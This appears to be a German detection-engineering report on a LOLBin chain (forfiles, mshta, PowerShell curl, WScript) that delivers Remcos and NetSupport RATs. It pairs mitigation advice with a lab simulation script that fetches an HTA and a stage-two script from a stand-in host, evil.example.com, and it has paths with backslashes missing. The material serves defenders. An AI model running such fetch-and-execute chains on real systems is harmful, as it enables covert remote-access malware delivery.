Können LOLBins Übermäßig Genutzt Werden, um RAT-Payloads zu Übertragen?
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Dieser Bericht skizziert eine mehrstufige Infektionskette, die aggressiv Windows-eigene Dienstprogramme (LOLBins) missbraucht, um Fernzugriffstools wie Remcos und NetSupport Manager abzurufen und auszuführen. Der Betreiber verknüpft dafür die Befehle forfiles, mshta, PowerShell, curl, tar, WScript und gezielte Registry-Änderungen, um Nutzlasten in Stufen zu verteilen, Persistenz zu etablieren und die Sichtbarkeit zu verringern. Der Ablauf nutzt zudem das Verhalten „Lebendiges-vom-Land“ aus, um sich leise in die routinemäßigen Verwaltungsaktivitäten einzufügen. Malwarebytes identifizierte die Aktivität und blockierte die zugehörige IP-Adresse. Insgesamt unterstreicht es, wie umfangreicher LOLBin-Missbrauch effektiv RATs liefern kann.
Untersuchung
Forscher sahen zuerst, dass forfiles.exe mshta gestartet hat, welches eine bösartige HTA abrief, die PowerShell ausführte, um ein PDF-Decoy zu holen, das ein TAR-Archiv trug. Nach der Extraktion warf eine trojanisierte glaxnimate.exe fragmentierte Komponenten in ProgramData ab, die dann mit WScript, Batch-Skripten und unterstützenden Dateien neu zusammengesetzt und gestartet wurden. Die Persistenz wurde durch das Erstellen eines UserInitMprLogonScript-Werts in HKCUEnvironment festgelegt, der auf eine bösartige Client-Binärdatei verwies.
Minderung
Überwachen Sie auf anomale LOLBin-Ausführungen, insbesondere forfiles, mshta, curl, tar, expand und verdächtige Registry-Bearbeitungen innerhalb von HKCUEnvironment. Durchsetzen der Anwendungswhitelist, umfassendes PowerShell-Logging aktivieren und Skriptausführungen von ProgramData verhindern, um die Inszenierung einzuschränken. Sperren Sie ungewöhnlichen ausgehenden HTTP-Verkehr zu unbekannten IPs und wenden Sie URL-Filter an, um initiale Download-Versuche zu unterbrechen.
Reaktion
Bei Entdeckung isolieren Sie den Host, erfassen Sie vollständige Befehlszeilentelemetriedaten und sammeln Sie abgelegte Artefakte zur Hash-Analyse. Entfernen Sie den bösartigen Registry-Eintrag und löschen Sie in ProgramData erstellte Dateien. Führen Sie einen Endpunkt-Scan mit aktuellen AV-Signaturen aus und implementieren Sie ein netzwerkweites Blockieren der Angreifer-IP-Adresse und aller damit verbundenen Domains.
Angriffsfluss
Erkennungen
LOLBAS WScript / CScript (über Prozess-Erstellung)
Anzeigen
Verdächtige CURL-Nutzung (über cmdline)
Anzeigen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über cmdline)
Anzeigen
Verdächtige extrahierte Dateien aus einem Archiv (über file_event)
Anzeigen
LOLBAS ForFiles (über cmdline)
Anzeigen
Erkennung von LOLBin-Missbrauch zur Bereitstellung von Remote-Zugriffs-Trojanern [Windows Prozess-Erstellung]
Anzeigen
Simulationsausführung
Voraussetzung: Der Telemetrie- und Basislinien-Vorflug-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Techniken des Gegners (TTP), die darauf abzielen, die Erkennungsregel auszulösen. Die Befehle und die Erzählung müssen direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennung erwartet wird.
-
Angriffserzählung & Befehle:
Der Rot-Team-Betreiber beabsichtigt, den Remcos RAT einzusetzen, indem eine Kette von LOLBins genutzt wird, um den direkten Download eines ausführbaren Programms zu vermeiden.- Entdeckung & Inszenierung: Use
forfiles.exeum ein Zielverzeichnis zu finden undmshtamit einer bösartigen URL zu starten, die eine HTA-Nutzlast hostet. - Dateiloses PowerShell-Download: aufrufen
powershell.exemit-NoProfile -Command curlum ein Skript der zweiten Stufe von einem C2-Server abzurufen. - VBScript-Ausführung: Einen erstellten
processor.vbsviaWScript.exebereitstellen, um die RAT-Binärdatei zu schreiben nach%ProgramData%. - Batch-Dropper: Führen Sie eine versteckte Batch-Datei (
patcher.bat) übercmd.exeaus, das überIWshShell3.Runaufgerufen wird, um die Persistenz abzuschließen.
Jeder Schritt erzeugt ein eindeutiges Prozess-Erstellungsereignis, das zu einer der Sigma-Wahlen passt und somit die Regel auslöst.
- Entdeckung & Inszenierung: Use
-
Regressions-Test-Skript:
Das unten stehende Skript reproduziert die vier Selektionen in einem kontrollierten Labor. Es protokolliert jeden Befehl in einer temporären Datei zur späteren Überprüfung.#------------------------------------------------- # LOLBin-Missbrauchssimulation – löst Sigma-Regel aus #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Ausführen: $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> curl download $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Ausführen: $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Ausführen: $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Ausführen: $cmd4 (über IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Simulation abgeschlossen." | Tee-Object -FilePath $log -
Aufräumkommandos:
Entfernen Sie Artefakte, um den Host in einen sauberen Zustand zu versetzen.# Entfernen von LOLBin-Simulationsartefakten Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Aufräumen abgeschlossen."